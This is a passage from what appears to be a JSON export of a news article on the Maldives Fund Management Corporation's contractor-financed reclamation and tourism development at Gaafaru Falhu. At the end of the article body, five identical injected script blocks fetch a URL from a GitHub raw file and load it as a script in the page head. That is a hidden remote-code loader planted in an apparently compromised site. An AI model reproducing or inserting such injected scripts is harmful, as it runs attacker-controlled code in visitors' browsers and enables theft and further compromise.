MFMC said that at a rate of USD 7.80 per cubic meter, the total dredging would cost USD 29,232,774.<\/p>\n<p>Despite the large scale nature of the reclamation, this reclamation cost is significantly lower than the reclamation cost in other projects in the Maldives ongoing right now.<\/p>\n<p>The reclamation will be handled under a contractor-financing approach. The contractor will not be settling any advance payment for the initiative while physical works will commence soon. The contractor will generate revenue by sale of land from the project and by executing real estate initiatives.<\/p>\n<p>Gaafaru Falhu was assigned under MFMC to be developed under an integrated tourism development concept. While the conceptual master plan has been completed, this is the first-ever long-term sustainable integrated tourism development project by the Maldives government.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maldives Fund Management Corporation (MFMC) has announced the reclamation of 16 islands at K.
